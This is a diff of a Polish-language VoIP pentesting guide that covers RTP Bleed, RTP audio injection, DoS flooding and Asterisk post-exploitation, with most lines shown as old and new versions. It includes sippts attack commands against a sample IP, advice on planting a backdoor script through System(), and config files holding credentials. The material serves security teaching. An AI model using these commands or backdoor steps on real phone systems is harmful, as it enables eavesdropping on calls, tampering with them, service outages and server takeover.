Proksy RTP próbują rozwiązać **ograniczenia NAT** dotykające systemów RTC poprzez przekazywanie strumieni RTP między dwiema lub więcej stronami. Gdy jest obecne NAT, oprogramowanie proksy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych poprzez sygnalizację (np. SIP). Dlatego wiele proksów RTP wprowadziło mechanizm, w którym taki **krotka IP i port jest automatycznie poznawany**. Często dzieje się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla każdego przychodzącego ruchu RTP jako ten, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem nauki", **nie wykorzystuje żadnej formy uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proksa RTP** i otrzymywać przekazywany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trakcie trwającego strumienia RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala ona atakującym otrzymywać strumienie multimedialne RTP przeznaczone dla prawowitych użytkowników.
|
||||
Proksy RTP próbują rozwiązać **ograniczenia NAT** dotykające systemów RTC poprzez przekazywanie strumieni RTP między dwoma lub więcej stronami. Gdy NAT jest obecny, oprogramowanie proksy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych poprzez sygnalizację (np. SIP). Dlatego wiele proksów RTP wprowadziło mechanizm, w którym taki **krotka IP i portu jest automatycznie poznawana**. Często jest to realizowane poprzez inspekcję przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla każdego przychodzącego ruchu RTP jako ten, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem nauki", **nie wykorzystuje żadnej formy uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proksa RTP** i otrzymywać przekazywany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trakcie trwającego strumienia RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala ona atakującym otrzymywać strumienie mediów RTP przeznaczone dla prawowitych użytkowników.
|
||||
|
||||
Innym interesującym zachowaniem proksów RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, które mogą pozwolić im na wstrzyknięcie swoich mediów zamiast prawowitych. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nieprawowitych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proksach RTP, jak i w punktach końcowych.
|
||||
Innym interesującym zachowaniem proksów RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, które mogą pozwolić im na wstrzyknięcie swoich mediów zamiast prawowitych. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala na wstrzyknięcie nieprawowitych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proksach RTP, jak i w punktach końcowych.
|
||||
|
||||
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia omijanie uwierzytelniania ruchu RTP, co potencjalnie prowadzi do braku dźwięku lub jednokierunkowego dźwięku podczas rozmów.
|
||||
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwiają ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub jednokierunkowego dźwięku podczas połączeń.
|
||||
|
||||
Więcej informacji można znaleźć pod adresem [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
|
@ -557,7 +560,7 @@ Więcej informacji można znaleźć pod adresem [https://www.rtpbleed.com/](http
|
|||
```bash
|
||||
sippts rtpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność na wyciek RTP, wysyłając strumienie RTCP.
|
||||
* **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
|
||||
```bash
|
||||
sippts rtcpbleed -i 10.10.0.10
|
||||
```
|
||||
|
@ -565,7 +568,7 @@ sippts rtcpbleed -i 10.10.0.10
|
|||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
* **`SIPPTS rtpbleedinject`** z [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit SIPPTS rtpbleedinject wykorzystuje podatność RTP Bleed wstrzykując plik dźwiękowy (format WAV).
|
||||
* **`SIPPTS rtpbleedinject`** z [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit SIPPTS rtpbleedinject wykorzystuje podatność RTP Bleed do wstrzyknięcia pliku dźwiękowego (format WAV).
|
||||
```bash
|
||||
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
|
@ -575,52 +578,52 @@ W Asterisku uda ci się jakoś móc **dodawać reguły rozszerzeń i przeładowy
|
|||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
Istnieje polecenie o nazwie **`Shell`**, które można użyć **zamiast `System`** do wykonywania poleceń systemowych, jeśli jest to konieczne.
|
||||
Istnieje polecenie o nazwie **`Shell`**, które można użyć **zamiast `System`** do wykonywania poleceń systemowych w razie potrzeby.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Jeśli serwer **zabrania użycia pewnych znaków** w poleceniu **`System`** (np. w Elastix), sprawdź, czy serwer WWW pozwala **w jakiś sposób tworzyć pliki w systemie** (np. w Elastix lub trixbox), i użyj tego do **utworzenia skryptu backdoor** a następnie użyj **`System`** do **wykonania** tego **skryptu**.
|
||||
Jeśli serwer **zabrania użycia pewnych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala **w jakiś sposób tworzyć pliki w systemie** (jak w Elastix lub trixbox), i użyj tego do **utworzenia skryptu backdoor** a następnie użyj **`System`** do **wykonania** tego **skryptu**.
|
||||
{% endhint %}
|
||||
|
||||
#### Interesujące pliki lokalne i uprawnienia
|
||||
|
||||
* **`sip.conf`** -> Zawiera hasło użytkowników SIP.
|
||||
* Jeśli **serwer Asterisk działa jako root**, można skompromitować roota.
|
||||
* Jeśli **serwer Asterisk działa jako root**, można zagrozić rootowi
|
||||
* **Użytkownik root mysql** może **nie mieć hasła**.
|
||||
* Można to wykorzystać do utworzenia nowego użytkownika mysql jako backdoor.
|
||||
* można to wykorzystać do utworzenia nowego użytkownika mysql jako backdoor
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX).
|
||||
* **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używane do dostępu do bazy danych.
|
||||
* Można to wykorzystać do utworzenia nowego użytkownika mysql jako backdoor.
|
||||
* **`amportal.conf`** -> Zawiera hasło administratora panelu sieciowego (FreePBX)
|
||||
* **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używane do dostępu do bazy danych
|
||||
* można to wykorzystać do utworzenia nowego użytkownika mysql jako backdoor
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Zawiera kilka haseł w postaci czystego tekstu, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego
|
||||
* **`Elastix.conf`** -> Zawiera kilka haseł w postaci czystego tekstu, takich jak hasło root mysql, hasło IMAPd, hasło administratora sieciowego
|
||||
* **Kilka folderów** będzie należeć do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Ten użytkownik może odczytać wcześniejsze pliki i kontrolować konfigurację, więc może sprawić, że Asterisk załaduje inne zainfekowane binaria podczas wykonywania.
|
||||
|
||||
### Wstrzykiwanie RTP
|
||||
|
||||
Możliwe jest wstrzyknięcie pliku **`.wav`** w rozmowy za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
Możliwe jest wstawienie pliku **`.wav`** do rozmów za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
|
||||
Lub można użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) do **skanowania rozmów** (**`rtpscan.pl`**), wysyłania pliku `.wav` do rozmowy (**`rtpsend.pl`**) i **wstrzykiwania hałasu** w rozmowę (**`rtpflood.pl`**).
|
||||
Można również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) do **skanowania rozmów** (**`rtpscan.pl`**), wysyłania pliku `.wav` do rozmowy (**`rtpsend.pl`**) oraz **wstawiania hałasu** do rozmowy (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
### Ataki typu DoS
|
||||
|
||||
Istnieje kilka sposobów na próbę przeprowadzenia ataku DoS na serwery VoIP.
|
||||
Istnieje kilka sposobów próby przeprowadzenia ataku typu DoS na serwery VoIP.
|
||||
|
||||
* **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)**: Atak flood SIPPTS wysyła nieograniczoną liczbę wiadomości do celu.
|
||||
* **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)**: Atak SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)**: Polecenie ping SIPPTS wykonuje ping SIP, aby sprawdzić czas odpowiedzi serwera.
|
||||
* **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)**: Polecenie SIPPTS ping wykonuje ping SIP, aby sprawdzić czas odpowiedzi serwera.
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Atak DoS na protokół IAX używany przez Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania ataku flood wiadomości SIP/SDP INVITE przez UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka poprawnie sformowanych pakietów RTP. Należy znać używane porty RTP (najpierw sniff).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Pozwala analizować i generować ruch SIP. Może być również używany do ataków DoS.
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania ataku zalewania wiadomościami SIP/SDP INVITE przez UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka poprawnie sformowanych pakietów RTP. Należy znać używane porty RTP (najpierw podsłuchaj).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Pozwala analizować i generować ruch SIP, więc może być używane do ataków typu DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używany do przeprowadzania ataków SIP.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### Luki w systemie operacyjnym
|
||||
|
||||
Najprostszym sposobem zainstalowania oprogramowania takiego jak Asterisk jest pobranie **dystrybucji systemu operacyjnego**, która już go zawiera, takiej jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemu mogą **nie aktualizować ich ponownie**, a z czasem będą odkrywane **luki w zabezpieczeniach**.
|
||||
Najprostszym sposobem zainstalowania oprogramowania takiego jak Asterisk jest pobranie **dystrybucji systemu operacyjnego**, która już go zawiera, takiej jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemu mogą **nie aktualizować ich ponownie**, a z czasem będą odkrywane **luki bezpieczeństwa**.
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
||||
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
|
||||
|
|
Loading…
Reference in a new issue